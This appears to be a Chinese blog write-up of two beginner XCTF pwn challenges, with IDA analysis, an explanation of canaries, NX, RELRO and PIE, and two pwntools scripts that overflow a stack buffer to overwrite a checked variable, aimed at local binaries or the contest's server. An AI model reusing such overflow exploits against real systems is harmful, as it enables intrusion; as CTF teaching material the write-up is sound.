zoukankan      html  css  js  c++  java
  • 攻防世界-pwn-writeup

    when_did_you_born-栈溢出

    题目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5051&page=1

    题目描述:只要知道你的年龄就能获得flag,但菜鸡发现无论如何输入都不正确,怎么办

    题目附件: 附件1

    分析:

    下载文件后,通过kali的命令行:file 查看文件多少位:image通过查看发现是64位,linux系统,linux在pwn题目出现最多。

    查看文件有什么保护:命令checksec --file=when_did_you_born :image,发现Canary found金丝雀保护(栈)和堆的保护

    运行下测试,输入大量数据,发现疑似栈溢出漏洞

    载入IDA分析,按两次空格,进入汇编界面,难分析,按F5进行伪代码显示image,发现只要V5溢出到V6,且让V6值为1926,即可继续执行

    编写python代码:

      1 #栈溢出漏洞
      2 from pwn import *
      3 
      4 context(os='linux',arch="amd64",log_level="debug")  #代表pwn是linux程序,64位操作系统,调试模式是debug
      5 content=1
      6 def main():
      7     if content==1:
      8         zw=process("when_did_you_born")     #运行本地程序
      9     else:
     10         zw=remote("220.249.52.133",50253)   #运行网络程序
     11 
     12     payload=b'a'*(0x20-0x18)+p64(1926)      #构建payload攻击溢出脚本,发送一个比特流数据,所以开始是b';(0x20-0x18)代表数据大小是这么大;p64带代表64位字节流发送
     13 
     14     zw.recvuntil("What's Your Birth?
    ")    #收到返回是这个字符串则执行下一行代码
     15     zw.sendline("1900")                     #发送一条数据
     16 #   zw.sendlineafter("",)#执行到哪一条语句后发送
     17     zw.recvuntil ("What's Your Name?
    ")
     18     zw.sendline (payload)
     19 
     20     zw.interactive()                        #接收数据,把收到的数据发送回来
     21 
     22 main()      #运行main函数

    执行,发现image,正确,更改conent为网络验证获得flag:image


    hello_pwn-栈溢出

    题目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5052&page=1

    题目描述:pwn!,segment fault!菜鸡陷入了深思(segment fault 段错误各种原因一 造成segment fault,产生core dump的可能原因1.内存访问越界)

    题目附件:附件1

    下载附件,使用命令检测image,发现linux的64位程序,且没有stack栈保护,只有NX堆保护,

    资料:防护技术:

    RELRO:在Linux系统安全领域数据可以写的存储区就会是攻击的目标,尤其是存储函数指针的区域,尽量减少可写的存储区域可使安全系数提高。GCC, GNU linker以及Glibc-dynamic linker一起配合实现了一种叫做relro的技术Relocation Read Only, 重定向只读,实现就是由linker指定binary的一块经过dynamic linker处理过 relocation之后的区域为只读。(参考RELRO技术细节

    Stack: 栈溢出检查,用Canary金丝雀值是否变化来检测,Canary found表示开启。

    金丝雀最早指的是矿工曾利用金丝雀来确认是否有气体泄漏,如果金丝雀因为气体泄漏而中毒死亡,可以给矿工预警。这里是一种缓冲区溢出攻击缓解手段:启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux将cookie信息称为Canary。

    NX: No Execute,栈不可执行,也就是windows上的DEP。

    分析缓冲区溢出攻击,其根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计算机体系结构基本上是不可能的,我们只能靠向前兼容的修补来减少溢出带来的损害,DEP就是用来弥补计算机对数据和代码混淆这一天然缺陷的。

    DEP的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。DEP的主要作用是阻止数据页(如默认的堆页、各种堆栈页以及内存池页)执行代码。硬件DEP需要CPU的支持,AMD和Intel都为此做了设计,AMD称之为No-Execute Page-Protection(NX),Intel称之为Execute Disable Bit(XD)

    Linux称为 NX 与 DEP原理相同

    PIE: position-independent executables, 位置无关的可执行文件,也就是常说的ASLR(Address space layout randomization) 地址随机化,程序每次启动基址都随机。

    将程序导入IDA进行分析,发现image,双击栈查看image,和上题目一样,栈溢出即可

    编写代码:

      1 #栈溢出漏洞
      2 from pwn import *
      3 
      4 context(os='linux',arch="amd64",log_level="debug")  #代表pwn是linux程序,64位操作系统,调试模式是debug
      5 content=0
      6 def main():
      7     if content==1:
      8         zw=process("hello_pwn")     #运行本地程序
      9     else:
     10         zw=remote("220.249.52.133",52836)   #运行网络程序
     11 
     12     payload=b'a'*(0x6c-0x68)+p64(1853186401)      #构建payload攻击溢出脚本,发送一个比特流数据,所以开始是b';(0x20-0x18)代表数据大小是这么大;p64带代表64位字节流发送
     13 
     14 #     zw.recvuntil("What's Your Birth?
    ")    #收到返回是这个字符串则执行下一行代码
     15 #     zw.sendline("1900")                     #发送一条数据
     16 #     zw.sendlineafter("",)#执行到哪一条语句后发送
     17     zw.recvuntil ("lets get helloworld for bof
    ")
     18     zw.sendline (payload)
     19 
     20     zw.interactive()                        #接收数据,把收到的数据发送回来
     21 
     22 main()      #运行main函数

    执行py,获得flagimage

  • 相关阅读:
    消失之物【背包回退】
    数据库连接JDBC
    Spring事物管理机制简单学习
    java生成验证码并可刷新
    spring加载属性配置文件内容
    java读写属性配置文件
    抓取页面图片元素并保存到本机电脑
    java模拟页面表单登录
    通过java进行电脑屏幕截图
    通过JBOSS服务器来实现JMS消息传送
  • 原文地址:https://www.cnblogs.com/zw7889/p/13603421.html
Copyright © 2011-2022 走看看